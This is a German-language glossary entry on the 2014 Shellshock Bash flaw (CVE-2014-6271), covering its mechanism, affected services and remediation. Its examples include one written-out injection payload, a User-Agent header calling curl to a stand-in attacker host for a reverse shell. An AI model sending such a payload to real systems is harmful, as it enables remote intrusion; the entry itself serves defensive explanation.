CyberGlossary

Schwachstellen

Shellshock (CVE-2014-6271)

Auch bekannt als: Bashdoor, CVE-2014-6271

Definition

GNU-Bash-Schwachstelle von 2014, mit der Angreifer beliebige Befehle ausführen konnten, indem speziell gestaltete Umgebungsvariablen über andere Programme an Bash übergeben wurden.

Shellshock (CVE-2014-6271 plus die verwandte CVE-2014-7169) ist ein Fehler in der Verarbeitung von Funktionsdefinitionen in Umgebungsvariablen durch GNU Bash: Befehle nach dem Funktionsrumpf wurden beim Shell-Start ausgeführt. Weil viele Dienste — CGI-Skripte, DHCP-Clients, OpenSSH ForceCommand, qmail — Bash mit angreiferkontrollierten Variablen aufriefen, war der Bug remote und oft als root trivial ausnutzbar. Die Offenlegung 2014 löste weltweit Notfall-Patches und massenhafte Ausnutzung für Botnets, Webshells und Würmer aus. Behebung: Bash auf gepatchte Versionen aktualisieren, Bash-CGI-Architekturen ablösen, Defense-in-Depth mit Privilegienentzug und Einschränkung der Variablenweitergabe.

Beispiele

  • User-Agent () { :; }; /bin/curl attacker.com an einen Bash-CGI-Endpunkt senden, um eine Reverse Shell zu erhalten.
  • Ausnutzen eines DHCP-Clients, der Option-Strings in die Umgebung eines Bash-Hook-Skripts exportiert.

Verwandte Begriffe